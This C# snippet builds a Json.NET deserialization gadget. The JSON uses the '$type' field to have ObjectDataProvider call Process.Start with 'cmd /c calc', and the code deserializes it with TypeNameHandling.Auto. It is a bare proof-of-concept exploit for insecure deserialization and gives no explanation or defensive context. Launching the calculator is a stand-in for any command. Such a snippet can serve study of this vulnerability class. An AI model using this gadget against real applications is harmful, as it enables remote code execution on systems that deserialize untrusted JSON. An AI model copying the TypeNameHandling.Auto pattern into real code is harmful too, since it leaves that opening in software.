string json = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd','/ccalc'] }, 'ObjectInstance':{ '$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; var result = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.Auto });